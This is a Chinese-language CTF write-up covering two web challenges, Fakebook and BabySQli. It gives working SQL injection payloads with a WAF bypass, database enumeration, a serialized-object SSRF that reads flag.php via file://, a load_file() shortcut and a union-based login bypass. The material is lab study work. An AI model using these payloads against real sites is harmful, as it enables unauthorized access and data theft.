2021-01-25

[网鼎杯 2018]Fakebook

SSRF

SSRF,也就是Server Side RequestForgery—服务器端请求伪造。从字面上来看，与CSRF不同的是，它是服务器端发出的请求伪造而非从用户一端提交。别误会，作为受信任用户，服务器当然不可能做出损害用户信息的事。它是一种由攻击者构造形成，由服务端发起请求的一个安全漏洞。因为它是由服务端发起的，所以它能够请求到与它相连但与外网隔离的内部系统。

一般由curl的滥用引起
详情见SSRF介绍

file协议__读取本地文件

file协议更多的是将该请求视为一个本地资源访问请求，和你使用资源管理器打开是一样的，是纯粹的请求本地文件。

–http请求方式则是通过假架设一个web服务器，解析http协议的请求然后向浏览器返回资源信息。我们所开发的html文件最后必定是会以网页的形式部署在服务器上，通过http协议访问，所以我们开发中也尽可能模拟线上环境，架设本地服务器，来避免file协议与http协议实现

robots.txt__源码泄露

• 很多网站都会有这个文件，比如说百度、谷歌都有，直接访问/robots.txt 就行
• 作用是告诉搜索引擎该网站可以访问的范围。

登录一个账号测试
可以看到admin可以打开，打开后发现url里面有参数no，尝试注入：
order by 5时报错，可以判断字段数为4。
view.php?no=1 order by 4--+
过滤了unionselect 绕过waf，改为 union/**/select 后成功绕过，发现注入点为2

view.php?no=1 union/**/select 1,2,3,4--+
数据库为：fakebook
/view.php?no=0 union/**/select 1,database(),3,4--+
表为：users
/view.php?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+
列名为：no,username,passwd,data
/view.php?no=0%20union/**/select%201,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users'--+
查出数据
/view.php?no=0%20union/**/select%201,group_concat(no,'-',username,'-',passwd,'-',data),3,4 from fakebook.users --+

/view.php?no=0%20union/**/select%201,group_concat(no,'-',username,'-',passwd,'-',data),3,4 from fakebook.users --+

读取内容发现字段 data 有一组序列化后的字符串，其它字段也没什么内容。此时注意到，这就是我们刚刚注册填的内容

注入到此结束，没有得到flag

robots.txt__源码泄露
访问/user.php.bak 下载了一个文件，去除后缀名.bak得到user.php，源码泄露

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

get函数:将我们输入的blog，调用get函数创建链接我们填的url，将访问该url返回的内容在页面输出。

get方法里有curl函数

curl_init:初始化新的会话，返回 cURL 句柄，供curl_setopt()、 curl_exec() 和 curl_close() 函数使用。
curl_setopt:为 cURL 会话句柄设置选项。
curl_exec:执行给定的 cURL 会话。
curl_getinfo:获取最后一次传输的相关信息。

利用ssrf漏洞

php序列化
由上面的data字段内容可以得知，我们的注册信息，是以反序列化字符串储存的。
以序列化的方式存储在data字段中，查询时返回序列化字符串后先进行反序列化后再提取blog网址。
那如果让它查询返回的是包含file:///var/www/html/flag.php的序列化字符串，那它提取时就是访问了flag.php文件并返回。解决了上面注册的过滤。
所以，我们先构造一个php序列化字符串

• 注册界面输入的blog经过了isValidBlog（）函数的过滤，不然直接在注册界面输入file:///var/www/html/flag.php就能拿到flag。
• isValid 函数:返回页面验证控件的状态。如果全部验证通过，IsValid属性为true，可以提交。当前页面中任何一个验证控件没通过验证，IsValid属性为false，不可以提交。
• get()函数存在ssrf漏洞。

构造一个php,序列化字符串

<?php

class UserInfo
{
    public $name = "1";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";
	
}

$a = new UserInfo();
echo serialize($a);
?>

得到
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
再一次sql联合注入，返回查询内容为file:///var/www/html/flag.php
/view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
查看源码，访问链接得到flag,再加个base64.

非预期解
因为没有禁用load_file()函数，所以可以直接利用该函数拿到flag。绕了半天结果简单一步就出来了
/view.php?no=0 union/**/select 1,load_file('/var/www/html/flag.php'),3,4

[GXYCTF2019]BabySQli

1. base32和base64的区别？

1. base32是全部由大写字母和数字构成，或者其结尾有三个等号
2. base64则是由大小写字母和数字一起构成

2. 联合查询并不存在的数据时，联合查询就会构造一个虚拟的数据,于是可对认证过程进行了绕过

bp抓包fuzz

导入字典
经测试过滤了or order =等字符，但是没有过滤union select，可以通过select猜有多少字段
查看源代码中有一串数字
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
通过base32解码为
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
再通过base64解码
select * from user where username = ‘$name’

提示我们：在用户名处，通过联合注入，写入登入需要的信息，以达到登录成功。（因为这里是错误回显，不能直接查数据库）
如：构造playload:
name=1' union select 0,'admin','81dc9bdb52d04dc20036dbd8313ed055'%23&pw=1234
于是我们构造了一个数据库里不存在的虚拟身份和密码，然后登入进去

经验：后端的密码一般都是经过md5存储的，因此密码判断往往和md5有关系

再输入用户名admin 密码随便填，回显的是wrong pass!，说明admin是存在的，
输入1’ union select 1,‘admin’,3#
回显的是wrong pass！可以判断账户名再第二个字段
最后：
构造playload:
账号：1’ union select 1,‘admin’,‘81dc9bdb52d04dc20036dbd8313ed055’#
密码：1234